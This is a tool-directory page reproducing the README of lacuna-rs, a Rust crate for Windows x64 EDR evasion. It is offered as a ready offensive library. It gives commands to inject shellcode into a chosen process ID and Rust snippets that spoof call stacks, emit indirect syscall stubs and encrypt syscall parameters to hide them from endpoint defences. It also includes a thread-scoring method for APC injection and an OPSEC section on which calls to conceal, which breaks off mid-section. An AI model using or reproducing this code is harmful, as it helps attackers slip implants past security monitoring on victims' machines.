Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
lacuna-rs — Rust crate for ghost-frame call-stack spoofing, runtime indirect syscalls, and APC injection on Windows x64. Provides SSN resolution, JIT stub emission, and VEH-based parameter encryption for EDR evasion. | Kitploit
Tools/GitHubGitHub/karkas66/lacuna-rs
ShellcodePost-ExploitationRed TeamingPayload DevelopmentBinary Exploitation
GitHubkarkas66/lacuna-rs

lacuna-rs

Rust crate for ghost-frame call-stack spoofing, runtime indirect syscalls, and APC injection on Windows x64. Provides SSN resolution, JIT stub emission, and VEH-based parameter encryption for EDR evasion.

View Repository
181633 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

lacuna-rs

Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.

Ported from LACUNA Chain (lacuna_chain.c) by Mohamed Alzhrani (0xmaz).

lacuna-rs is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like wsyscall-rs or syscalls-rs, but with runtime SSN resolution, per-function syscall;ret targeting, and ghost-frame stack spoofing.


Critical: Frame-Pointer Requirement

The stack-spoof feature will silently fail if the consuming crate is not compiled with frame pointers.

The stack-stomping primitives in chain.rs locate the caller's return-address slot via mov rbp, {x} inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default.

build.rs sets force-frame-pointers=yes for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates. You must add this to your own project:

# .cargo/config.toml  (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Without this, stomp_plant() will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work.

If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the stack-spoof feature and this requirement does not apply.


What it does

PrimitiveC functionRust module
PE section + export parsingpe_section(), pe_export()pe
.pdata ghost-region scanningscan_ghosts(), best_ghost()scan
Ghost-gadget discovery (jmp [rbx])scan_ghost_gadgets()scan
win32u NOP-gap finderwin32u_nop_gap()scan
BYOUD-MF anchor finderfind_mf_target()scan
SSN resolution (Hell's Gate / Halo's Gate)resolve_ssn()nt
Per-function syscall;ret locatorfind_func_syscall()nt
JIT indirect-syscall stub emissionalloc_stub()stub
Ghost-gadget stub redirect(in alloc_stub())stub
VEH + hardware-breakpoint param encryptionparam_encrypt_veh(), pcrypt_arm()veh
Chain-guard VEHchain_veh()veh
LACUNA chain constructionbuild_chain()chain
Stack stomp (BYOUD-RT)stomp_plant(), stomp_restore()chain
Chain walker (verify)lacuna_walk_chain()chain
Section-based APC injectiondo_inject_sapc()inject

Feature flags

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
FeatureDescriptionRequires frame pointers?
syscalls (default)SSN resolution + JIT stub emissionNo
inject (default)Section-based APC injection (inject::inject_sapc)No
vehVEH + hardware-breakpoint parameter encryptionNo
stack-spoofLACUNA ghost-frame chain + stack stompYes
no-stdno_std mode (experimental)No

When no features are enabled, only the scanning/PE/NT layers are available.


Quick start

Scan for ghost regions

cargo run --example scan

Build + verify the ghost-frame chain

cargo run --example verify --features stack-spoof

Inject shellcode via section + APC

Injection proof Injection Example with real implant - C2 was offline but the Shellcode executed

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Add --verbose to enable VEH diagnostic output (stack dumps, register prints):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Thread scoring algorithm

Instead of queueing APCs to every thread in the target process (which can crash the process when too many threads are alerted simultaneously), inject_sapc uses a scoring algorithm to select the best MAX_APC_THREADS (5) candidates:

  • Cycle time — NtQueryInformationThread(ThreadCycleTime) — primary activity indicator
  • CPU time — NtQueryInformationThread(ThreadTimes) — kernel + user time
  • Suspend count — NtQueryInformationThread(ThreadSuspendCount) — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count
  • Priority — NtQueryInformationThread(ThreadBasicInformation) — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty

Completely idle threads (zero cycles and zero CPU time) are skipped entirely. The remaining candidates are sorted by score (highest first, tie-break on cycles) and truncated to the top 5.


Using as a library

Basic: scan + SSN resolution

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);

// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Emit an indirect syscall stub for any NT API

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");

// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Build the ghost-frame chain + register VEH

// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();

// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");

// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);

Wrap a sensitive syscall with stack spoof + param encryption

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();

// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };

// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: What to hide behind ghost frames

Not every API call needs the full LACUNA treatment. The key principle is: hide the calls that an EDR would correlate as injection or post-exploitation activity.

Must be behind indirect syscalls + ghost frames + param encryption

These are the "crown jewel" NT syscalls that EDRs hook and correlate:

Download Tool